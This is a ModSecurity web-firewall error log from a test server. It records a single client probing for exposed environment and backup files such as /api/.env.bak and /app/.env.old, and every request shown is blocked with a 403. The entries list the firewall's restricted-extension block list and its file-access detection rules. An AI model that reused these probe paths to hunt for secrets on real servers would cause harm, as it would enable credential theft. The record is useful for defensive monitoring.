[Fri Oct 24 20:58:24.627585 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.old&quot;] [unique_id &quot;aPvMUOJZ4vgAgAbS8ck58QAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:24.627771 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.old&quot;] [unique_id &quot;aPvMUOJZ4vgAgAbS8ck58QAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:24.628018 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.old&quot;] [unique_id &quot;aPvMUOJZ4vgAgAbS8ck58QAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:24.628228 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.old&quot;] [unique_id &quot;aPvMUOJZ4vgAgAbS8ck58QAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:25.030611 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aPvMUeJZ4vgAgAbS8ck58gAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:25.030868 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aPvMUeJZ4vgAgAbS8ck58gAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:25.031040 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aPvMUeJZ4vgAgAbS8ck58gAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:25.329305 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.save&quot;] [unique_id &quot;aPvMUeJZ4vgAgAbS8ck58wAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:25.329566 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.save&quot;] [unique_id &quot;aPvMUeJZ4vgAgAbS8ck58wAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:25.329729 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.save&quot;] [unique_id &quot;aPvMUeJZ4vgAgAbS8ck58wAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:25.875764 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.bak&quot;] [unique_id &quot;aPvMUeJZ4vgAgAbS8ck59AAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:25.875960 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.bak&quot;] [unique_id &quot;aPvMUeJZ4vgAgAbS8ck59AAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:25.876220 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.bak&quot;] [unique_id &quot;aPvMUeJZ4vgAgAbS8ck59AAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:25.876399 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.bak&quot;] [unique_id &quot;aPvMUeJZ4vgAgAbS8ck59AAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:26.129531 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.old&quot;] [unique_id &quot;aPvMUuJZ4vgAgAbS8ck59QAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:26.129771 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.old&quot;] [unique_id &quot;aPvMUuJZ4vgAgAbS8ck59QAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:26.130037 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.old&quot;] [unique_id &quot;aPvMUuJZ4vgAgAbS8ck59QAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:26.130234 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env.old&quot;] [unique_id &quot;aPvMUuJZ4vgAgAbS8ck59QAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:26.397765 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aPvMUuJZ4vgAgAbS8ck59gAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:26.398029 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aPvMUuJZ4vgAgAbS8ck59gAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:26.398208 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aPvMUuJZ4vgAgAbS8ck59gAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:27.002022 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.save&quot;] [unique_id &quot;aPvMU-JZ4vgAgAbS8ck59wAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:27.002281 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.save&quot;] [unique_id &quot;aPvMU-JZ4vgAgAbS8ck59wAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:27.002486 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.save&quot;] [unique_id &quot;aPvMU-JZ4vgAgAbS8ck59wAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:27.299138 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.bak&quot;] [unique_id &quot;aPvMU-JZ4vgAgAbS8ck5-AAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:27.299380 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.bak&quot;] [unique_id &quot;aPvMU-JZ4vgAgAbS8ck5-AAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:27.299634 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.bak&quot;] [unique_id &quot;aPvMU-JZ4vgAgAbS8ck5-AAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:27.299836 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.bak&quot;] [unique_id &quot;aPvMU-JZ4vgAgAbS8ck5-AAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:27.520591 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag 